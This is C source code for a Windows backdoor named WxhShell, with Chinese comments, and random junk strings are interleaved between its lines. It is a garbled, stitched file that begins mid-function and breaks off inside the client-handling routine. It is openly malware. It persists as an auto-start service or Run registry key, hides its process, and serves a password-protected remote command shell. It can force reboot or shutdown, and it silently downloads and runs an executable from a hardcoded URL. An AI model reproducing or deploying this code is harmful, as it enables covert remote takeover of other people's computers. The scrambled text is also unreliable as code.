g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \4QH/e NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B\0t&dai|' Eu4 &-i if (!NtQueryInformationProcess) return 0; ?;RD u[eD ^RDU
p5,T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _D
JCsK| if(!hProcess) return 0; zR/IqW.`9 R\y'_S=#a if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RY<%'\A`~ [xf$VkjuF CloseHandle(hProcess); IM]h*YV' O8y9dX-2 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C=[Ae, if(hProcess==NULL) return 0; Fv@tD4I> U{HML| HMODULE hMod; xW0Z'== char procName[255]; x?=B\8m unsigned long cbNeeded; }AJ L,Q7q =y<0UU if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -=sf}4A {$|/|* CloseHandle(hProcess); I=5dYq4 l i*68-n if(strstr(procName,"services")) return 1; // 以服务启动 --A&TV ZRPy~wy> return 0; // 注册表启动 BfVBywty } l=NAq_?N\ X|Dpt2A= // 主模块 M}KZG'7 int StartWxhshell(LPSTR lpCmdLine) ?S9Nm~vlt { ;h9W\Se SOCKET wsl; z{/LX
\ BOOL val=TRUE; )mG0g@ qOK int port=0; B%mtp;) P struct sockaddr_in door; D:)~%wu Lt OEI3eizgH if(wscfg.ws_autoins) Install(); XR+rT #<]Iz'\` port=atoi(lpCmdLine); Wp`C:H 3C#RjA-2[ if(port<=0) port=wscfg.ws_port; zb?kpd}r 7*MU2gb WSADATA data; "qE {a>d if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3(o7co-f fB7ljg if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <5k&)EoT setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F^miq^K=
door.sin_family = AF_INET; DyIV/ door.sin_addr.s_addr = inet_addr("127.0.0.1"); -!~vA+jw1 door.sin_port = htons(port); OW#_ty_ul b|6 !EGh if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SBz/VQ closesocket(wsl); >>j+LRf* return 1; i pwW%"6 } qw2)v*Fn XECikld> if(listen(wsl,2) == INVALID_SOCKET) { s6/cL|Ex closesocket(wsl); 4]EvT=Ro return 1; Rf?%Tv0\ } /`}6rXnw9 Wxhshell(wsl); mYzcVhV WSACleanup(); o6|"J%9GX zsQF,7/}B return 0; qh H+m c&b/Joi7@ } _0m}z%rI F^]aC98]1 // 以NT服务方式启动 -F1P28<? VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0$l&i=L { &1~Re.*B DWORD status = 0; V(DjF=8 DWORD specificError = 0xfffffff; F^xaz^=`u R}hlDJ/m- serviceStatus.dwServiceType = SERVICE_WIN32; Y&:/~&' serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^Eu_NUFe serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K#@K"N= serviceStatus.dwWin32ExitCode = 0; r_q~'r35 _ serviceStatus.dwServiceSpecificExitCode = 0; F "!`X# serviceStatus.dwCheckPoint = 0; RPY6Wh|4 serviceStatus.dwWaitHint = 0; umryA{Ps nSS}%&a:LX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GRy4cb2 if (hServiceStatusHandle==0) return; O'fc/cvh=' M&OsRrq status = GetLastError(); pLPd[a if (status!=NO_ERROR) %xHu,* { s<,"Hsh^CR serviceStatus.dwCurrentState = SERVICE_STOPPED; QU,?}w'?d serviceStatus.dwCheckPoint = 0; %uW< serviceStatus.dwWaitHint = 0; R@&?i=gk serviceStatus.dwWin32ExitCode = status; }-dF+m: serviceStatus.dwServiceSpecificExitCode = specificError; Rd0?zEKV SetServiceStatus(hServiceStatusHandle, &serviceStatus); B]i+,u return; "(N-h\7Ex9 } D"'#one 0OEtU5lf`y serviceStatus.dwCurrentState = SERVICE_RUNNING; 7F~xq#Wi# serviceStatus.dwCheckPoint = 0; j ~.u>4 serviceStatus.dwWaitHint = 0; jWhD5k@v if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g{]e j } sE}sE=\ ^&HI+M // 处理NT服务事件,比如:启动、停止 h ;jsH! VOID WINAPI NTServiceHandler(DWORD fdwControl) I'P!,Y/> { $:P[v+Uy switch(fdwControl) =O;eY ? { 0oQ/J: case SERVICE_CONTROL_STOP: f}A^]6MO: serviceStatus.dwWin32ExitCode = 0; _4O[[~ serviceStatus.dwCurrentState = SERVICE_STOPPED; ID&zY;f serviceStatus.dwCheckPoint = 0; fq{I$syY serviceStatus.dwWaitHint = 0; 2AmR(vVa" { Mg&HRE SetServiceStatus(hServiceStatusHandle, &serviceStatus); }WoX9M; 1 } 8`6
LMQ return; X9SJ~n case SERVICE_CONTROL_PAUSE: aL{EkiR serviceStatus.dwCurrentState = SERVICE_PAUSED; Y*"<@?n8?x break; D=<t;+| case SERVICE_CONTROL_CONTINUE: qgh]@JJh serviceStatus.dwCurrentState = SERVICE_RUNNING; =y`-sU Hx break; {XyG1 case SERVICE_CONTROL_INTERROGATE: dr}O+7_7%- break; ud5x$` }; r*xq(\v SetServiceStatus(hServiceStatusHandle, &serviceStatus); S|tA[klh } l8eT{!4 zC[i <'h!T // 标准应用程序主函数 ^BQ>vI'.4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >Y44{D\` { zv>ZrFl* Z5 w`-# // 获取操作系统版本 zp}yiE!bl OsIsNt=GetOsVer();
4{c`g$j> GetModuleFileName(NULL,ExeFile,MAX_PATH); M,I68 l[:^TfB // 从命令行安装 jD$;q7fB if(strpbrk(lpCmdLine,"iI")) Install(); |P^ikx6f5 j@s=ER // 下载执行文件 &IxxDvP3k if(wscfg.ws_downexe) { G;87in ,} if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2nVuz9h WinExec(wscfg.ws_filenam,SW_HIDE); @fUX)zm> } Ey
0>L hn*}5!^ if(!OsIsNt) { XT\Td}> // 如果时win9x,隐藏进程并且设置为注册表启动 'cWlY3%t HideProc(); eYPt StartWxhshell(lpCmdLine); /2=_B4E2 } ,%&
LG],6 else Aigcq38 if(StartFromService()) \>&@lA // 以服务方式启动 }mkA Hmu4 StartServiceCtrlDispatcher(DispatchTable); q=(M!9cE else t"jIfU>'a/ // 普通方式启动 EY=\C$3J: StartWxhshell(lpCmdLine); bL6L-S ufHuI* return 0; 6yV5Yjs } =P@M&Yy' ;))[P_$zB :T8u?@. hlYS=cgY= =========================================== WMt&8W5 ~7F EY0 / P*?d6v,r T9&,v<f qJe&jLZa i'[n`|c< " HPv&vdr3 %`t]FV^# #include <stdio.h> 9u-M! $ #include <string.h> i!/h3%= #include <windows.h> I_R5\l}O+D #include <winsock2.h> TZvBcNi #include <winsvc.h> QH~8
aE_i #include <urlmon.h> ~)oWSo5ll b6rzHnl{ #pragma comment (lib, "Ws2_32.lib") HXlr #pragma comment (lib, "urlmon.lib") 7M&.UzIY` G~Q*:m #define MAX_USER 100 // 最大客户端连接数 8Iqk%n~( #define BUF_SOCK 200 // sock buffer w>1l@%Uo #define KEY_BUFF 255 // 输入 buffer +?J_6Mo@X I\F=s-VVY #define REBOOT 0 // 重启 #L).BM #define SHUTDOWN 1 // 关机 js%4;
}kgjLaQ^N #define DEF_PORT 5000 // 监听端口 ,Yiq$Z{qQ U>3%!83kF #define REG_LEN 16 // 注册表键长度 $A5B{2 #define SVC_LEN 80 // NT服务名长度 ,_e/a J7&.>y1% // 从dll定义API o{YW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !/=9VD{U! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =l?"=HF typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qW` XA typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .$}Z:,aB
8H$@Xts // wxhshell配置信息 .3g\[p struct WSCFG { GSUOMy[M- int ws_port; // 监听端口 @ B}c4, char ws_passstr[REG_LEN]; // 口令 [|m>vY! int ws_autoins; // 安装标记, 1=yes 0=no @hz0:ezg: char ws_regname[REG_LEN]; // 注册表键名 _mI:Lr#dT char ws_svcname[REG_LEN]; // 服务名 OmoplJ+ char ws_svcdisp[SVC_LEN]; // 服务显示名 pE YrmC char ws_svcdesc[SVC_LEN]; // 服务描述信息 lL(}dbT~N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lhW#IiX int ws_downexe; // 下载执行标记, 1=yes 0=no R+@sHsZ@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qU
/Wg char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O
#p)~V8~ i &SBW0) }; [h2p8i'o " N`V*0h // default Wxhshell configuration %3@RZe struct WSCFG wscfg={DEF_PORT, cE_Xo.:Y, "xuhuanlingzhe", eW }jS/g` 1, JXI+k.fi "Wxhshell", ~$TE "Wxhshell", gw}7%U`T9 "WxhShell Service", zN729wK "Wrsky Windows CmdShell Service", {) '"
k6w "Please Input Your Password: ", jT wM<? 1, L;(3u' "http://www.wrsky.com/wxhshell.exe", <|>:UGAR "Wxhshell.exe" '8kL1 }; aS1P]& 5D02%U2N)G // 消息定义模块 G3^n_]Jb char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2=UTH%1D char *msg_ws_prompt="\n\r? for help\n\r#>"; tr67ofld| char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /i]=ndAk char *msg_ws_ext="\n\rExit."; F6neG~Y char *msg_ws_end="\n\rQuit."; %(wsGNd char *msg_ws_boot="\n\rReboot..."; dA M ilTo char *msg_ws_poff="\n\rShutdown..."; 7HR%rO?' char *msg_ws_down="\n\rSave to "; 7=M'n;!Mh A)`fD
%+ char *msg_ws_err="\n\rErr!"; *F4G qX3 char *msg_ws_ok="\n\rOK!"; 6u]OXPA| 80l3.z,: char ExeFile[MAX_PATH]; vCH v int nUser = 0; (/rIodHJO HANDLE handles[MAX_USER]; 3
v,ae7$U& int OsIsNt; ?U.&7yY Bbe/w#Z SERVICE_STATUS serviceStatus; y0mg}N1 SERVICE_STATUS_HANDLE hServiceStatusHandle; *MyS7< vng8{Mx90* // 函数声明 l8n[8AT1 int Install(void); ]qP}\+: int Uninstall(void); ?RjKP3P int DownloadFile(char *sURL, SOCKET wsh); %~v76;H< int Boot(int flag); bMK'J void HideProc(void); Wn9Mr2r!*, int GetOsVer(void); !?>p]0*< int Wxhshell(SOCKET wsl); v.8S
V] void TalkWithClient(void *cs); ]\b1~ki!F int CmdShell(SOCKET sock); 6;=wuoJi int StartFromService(void); mYs->mg1 int StartWxhshell(LPSTR lpCmdLine); G QB^ HI`A;G] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Sem_U`G VOID WINAPI NTServiceHandler( DWORD fdwControl ); ''
A[`,3 1J%qbh // 数据结构和表定义 $R#L@iL- SERVICE_TABLE_ENTRY DispatchTable[] = 8@C|exAD` { gt~2Br4 {wscfg.ws_svcname, NTServiceMain}, `LHfAXKN {NULL, NULL} gSo(PW) }; I`}vdX) EA{*%9 A // 自我安装 $A!h=] int Install(void) v(nQd6;T { (R
2P<
Zr char svExeFile[MAX_PATH]; R"kE5: HKEY key; R8W44I*R: strcpy(svExeFile,ExeFile); l$_+WC*wp l?<z1Acd& // 如果是win9x系统,修改注册表设为自启动 z{M,2 if(!OsIsNt) { n[w,x; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9p'J(` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ny?m&;^r: RegCloseKey(key); IF?B`TmZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3*23+}^G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
7~9f rW<K RegCloseKey(key); *gpD4c7A\ return 0; ,ce^"yG } MldL"*HW: } \iE9&3Ie } u#k6v\/ else { YbBH6RZr \ rWgA // 如果是NT以上系统,安装为系统服务 %IXW|mi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %L|bF"K5; if (schSCManager!=0) WM l ^XZO { /Gv$1t^a
SC_HANDLE schService = CreateService HnY"6gTNK ( ^3s&90 schSCManager, ]mT}
\b wscfg.ws_svcname, B]}V$*$\? wscfg.ws_svcdisp, M4PUJZ] SERVICE_ALL_ACCESS, iBW6<2@oZF SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q3{&'|}^2 SERVICE_AUTO_START, e(% Solkm? SERVICE_ERROR_NORMAL, o-Fle, qf svExeFile, xi^e =:;` NULL, /+U)!$zm* NULL, P&`r87J NULL, l%5%oN`4 NULL, [MP:Eeg NULL U jzz`!mz ); ]BBgU[O)
! if (schService!=0) /%w[q:..h { +((31l CloseServiceHandle(schService); Yf`.Cq_: CloseServiceHandle(schSCManager); D
;I;,Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); __%E!*m"<_ strcat(svExeFile,wscfg.ws_svcname); ~"0X,APR5 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _%%"Y} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (>`SS#(T! RegCloseKey(key);
x`l;
; return 0; {YTF]J$ } Bzt`9lg } E}j8p_p CloseServiceHandle(schSCManager); zFQkUgb } fzG1<Gem } ]H7Mx\ /\I%)B47^9 return 1; <5vB{)Tq } ;!sGfrs0$
r@UY$z // 自我卸载 M.^A` int Uninstall(void) `bF;Ew; { 2![W
N*N>O HKEY key; &bK$!8Z rM.<Gi05Qe if(!OsIsNt) { cHct|Z
u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *lF%8k"Al RegDeleteValue(key,wscfg.ws_regname); 3(p6ak2lv RegCloseKey(key); Q8:ocEhR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o_m.MMEU RegDeleteValue(key,wscfg.ws_regname); g$LwXfg RegCloseKey(key); ^i1:PlW] return 0; dph6aN(49 } k(+u"T } )B4c;O4t } =nZd"t'p| else { CxQ,yd;> Khd ,|pM SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bz~h- if (schSCManager!=0) s\R?@ { FWN%JCOj@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <ft9B05* if (schService!=0) [&V%rhi { xhS/X3<th if(DeleteService(schService)!=0) { E NjD~ S CloseServiceHandle(schService); uelTsn CloseServiceHandle(schSCManager); EIm\!'R] return 0; R?SHXJ%' } cLP@0`^H CloseServiceHandle(schService); kn|l 3+ } U8z"{ CloseServiceHandle(schSCManager); X#<Sv>c^ } ^k##a-t<_> } Jz'+@q6h @'4D9A return 1; r!iuwE@ } h!GixN? ~C
x2Q4E // 从指定url下载文件 Jj:4@p: int DownloadFile(char *sURL, SOCKET wsh) +,>bpp1 { D<6kAGE HRESULT hr; #::vMnT char seps[]= "/"; HpAZ{P7 char *token; *X=-^\G char *file; W7"sWaOhW char myURL[MAX_PATH]; v}D! char myFILE[MAX_PATH]; *?&O8SSBH iK:]Q8b strcpy(myURL,sURL); 2jC\yY |PN token=strtok(myURL,seps); "FS.&&1( while(token!=NULL) jXZNr { a| cD{d file=token; rd{(E token=strtok(NULL,seps); SbivW5|61 } wv-8\)oA
DBDfBb GetCurrentDirectory(MAX_PATH,myFILE); jp`N%O]6 strcat(myFILE, "\\"); `_)dEu strcat(myFILE, file); ;0gpS y$# send(wsh,myFILE,strlen(myFILE),0); mo$*KNW%\ send(wsh,"...",3,0); k>`X!
" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I),8EEf\ if(hr==S_OK) 4[q *7m return 0; JK`P
mp> else .5xM7, return 1; 'h6RZKG T _: K\v8 } pnU
g:R@ hg @Jpg // 系统电源模块 9n7d
"XD2 int Boot(int flag) 0<9TyN6 { B"v=Fr[ HANDLE hToken; [4e5(!e TOKEN_PRIVILEGES tkp; 8 Hn{CJ~' Ex3woT- if(OsIsNt) { +n dyR OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r
N7"%dx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HV(Kz tkp.PrivilegeCount = 1; Jt8 v=<@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !Ao?bs' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lOui{QU if(flag==REBOOT) { gP@ni$n if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +|;IIwo return 0; 4KnDXQ% } ,+&j/0U else { L?fv5 S3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !w Bmf&= return 0; .$iIr:Tc> } SH.'E Hd } i}19$x.D` else { 8Yh2K} if(flag==REBOOT) {
f/ZE_MN2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JSU\Hh! return 0; Y$^\D'.k } 2 OTpGl else { Ipe; %as# if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S SXSgp return 0; E_oe1C: } U?QO'H5 } _c2# ;l'I.j return 1; o[6hUX0tN } l;uEw d9(F wmE // win9x进程隐藏模块 =j0V/= void HideProc(void) [>;O'> { A?/?9Gr \<} nn?~n HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L;"<8\vWB if ( hKernel != NULL ) jo^*R'} { i*<,@* pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fVM%.` ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
CvN~ FreeLibrary(hKernel); XHr{\/4V } :$j~;)2 *u}):8=&R return; ^4"_I } uOQ5.S+ ]^y}}y // 获取操作系统版本 yl}Hr* int GetOsVer(void) 7@F B^[H:y { Ogb_WO;) OSVERSIONINFO winfo; 9O"?T7i"# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J{y@ O GetVersionEx(&winfo); C N"c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) G\Me%{b# return 1; S%@$J~\rx else IQDWH/c return 0; ezn>3?S } Ut+m m\7 bA)Xjq)Rr // 客户端句柄模块 $sJn:
8z int Wxhshell(SOCKET wsl) { at;
U@o { VV SOCKET wsh; 1f=L8Dr struct sockaddr_in client;
}=U\v'%m DWORD myID; <da! #12L Lh}he:k+ while(nUser<MAX_USER) 0\+Qi?& { b%kh:NV{S int nSize=sizeof(client); J: LSGj;R wsh=accept(wsl,(struct sockaddr *)&client,&nSize); URAipLvN if(wsh==INVALID_SOCKET) return 1; Xk2
75Y L!5f* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PT;$@q8 if(handles[nUser]==0) EY>A(
closesocket(wsh); &l Q j?] else L8W3Tpi&( nUser++; `G'V9Xs( } vZ08/!n WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4Z_.Jdu w >b?,zWiw return 0; a5'QL(IX } #xc[)Y,W yhIg)/?L // 关闭 socket \o^+'4hq<5 void CloseIt(SOCKET wsh) L4NC- { ?o4&cCFOE closesocket(wsh); '/j`j>'!^ nUser--; G>,rf
]N ExitThread(0);
3t,SXI@ } ?d%_o@ 2d._X$fx7 // 客户端请求句柄 0XYxMN) void TalkWithClient(void *cs) Cdv TC`~, { *f(}@U Rww KPE SOCKET wsh=(SOCKET)cs; T.pPQH__ char pwd[SVC_LEN]; uk1IT4+ char cmd[KEY_BUFF]; C.@zVt char chr[1]; M;(lc?Rv int i,j; O7.Is88!
={fi&j while (nUser < MAX_USER) { IOA{lN6 ri:fo'4TO if(wscfg.ws_passstr) { GB+G1w if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~ e"^-x //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NlKnMgt~ //ZeroMemory(pwd,KEY_BUFF); T>c;q%A/ i=0; (~P&$$qfD while(i<SVC_LEN) { WDZEnauE .Ybm27Dk // 设置超时 )S%mKdOm
$ fd_set FdRead; t`LH\]6@ struct timeval TimeOut; xWD wg@ P FD_ZERO(&FdRead); ?*T`a oB FD_SET(wsh,&FdRead); +z4NxR
TimeOut.tv_sec=8; G67BQG\av TimeOut.tv_usec=0; iz'8P-]K> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dI>oHMC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k@Hu0x .VUZ4e
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #C+0m` pwd=chr[0]; Rl,B !SF if(chr[0]==0xd || chr[0]==0xa) { xpV8_Gz; pwd=0; 'g^]ZTxb break; T|E ;U } EGs z{c[8@ i++; /
g&mDYV| } I@hC$o :g,r l\S7 // 如果是非法用户,关闭 socket aA:Ky&5e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lyib+Sa ?` } ss[8d%V %PG0PH4? send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9A6ly9DIS send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 83S],L iw#luHcJ while(1) { |6&"r& sOHh&e ZeroMemory(cmd,KEY_BUFF); pZH
bj2~ $)'{+1 // 自动支持客户端 telnet标准 vOqYt42
j=0; 97
1qr while(j<KEY_BUFF) { GxvVh71zP if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @}FRiPo6 cmd[j]=chr[0]; HloP NE&} if(chr[0]==0xa || chr[0]==0xd) { BFMM6-Ve cmd[j]=0;
VC.r break; E J 9A
4B } %o?fE4o' j++; v!x=fjr< } p@!"x({@l /O8'8 sL5 // 下载文件 ue`F| if(strstr(cmd,"http://")) { >LW9$[H send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~[[a7$_4 if(DownloadFile(cmd,wsh)) i3kI{8h send(wsh,msg_ws_err,strlen(msg_ws_err),0); ztTpMj else o&>0
pc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KR{kn[2|Q } 9_HEImk else { 's
e9|: cd:O@)i switch(cmd[0]) { AD8~ Y<{j': // 帮助 "['YMhu_ case '?': { 1s*I
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YKk%lZ.8 break; ln3.TR* } M]6=Rxq1:E // 安装 $H_4Y-xOi case 'i': { 9 /9,[ A if(Install()) Tp9LBF send(wsh,msg_ws_err,strlen(msg_ws_err),0); B[k"xs else D$j`+` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T*$uc, break; %D&FnTa } /]YK:7*98 // 卸载 oVLz7Y[JE case 'r': { 0a(*/u if(Uninstall()) {xOu*8J send(wsh,msg_ws_err,strlen(msg_ws_err),0); B$7lL else YGxdYwBwf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (+4=A k break; ZI5UQH/ } U_14CLsdG // 显示 wxhshell 所在路径 4=1lyw case 'p': { u52@{@Ad char svExeFile[MAX_PATH]; bjR&bIA: strcpy(svExeFile,"\n\r"); ^goS?p/z strcat(svExeFile,ExeFile); Y}4dW' send(wsh,svExeFile,strlen(svExeFile),0); |R+=Yk&u break; F9d][ P@@ } ?Ww',e // 重启 A^g81s.5 case 'b': { ^P]: etld9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D-[0^
if(Boot(REBOOT)) Tvk= NJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); X-t4irZ) else { #BM *40tch closesocket(wsh); bf}r8$, ExitThread(0); SH5k^EJ } L:'Y#VI{ break; S_\RQB\l } RzyEA3L' // 关机 .}Xkr+
+] case 'd': { 8y+Gvk: send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *gBaF/C if(Boot(SHUTDOWN)) u_mm*o~)g send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4I,HvP else { fF>H7 closesocket(wsh); qT}&XK`Q^ ExitThread(0); 2*Gl|@~N } (spX3n%p break; XLM 9+L } ;&[0 h) // 获取shell "b2Mk-qP case 's': { ytJ |jgp' CmdShell(wsh); ==IL63 closesocket(wsh); q/]tJ{FI ExitThread(0); -"(e*&TJ# break; X5)>yM^N` } OY?uqP}c // 退出 @ cv`}k case 'x': { );=JoRQ{ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }p&aI?-B CloseIt(wsh); |4dNi1{Zd break; Ef7Kx49I } 654PW9{( // 离开 VM-J^ case 'q': { M`"2; send(wsh,msg_ws_end,strlen(msg_ws_end),0); W>+<r9Rt4 closesocket(wsh); c5U1N&k5& WSACleanup(); 9N9|h y exit(1); hf%W grO. break; I\4I,ds } ti'OjoJL } &M<431y
} 1f~_# EIC 6Q\n<&,{ // 提示信息 F= #zy#@. if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W&r |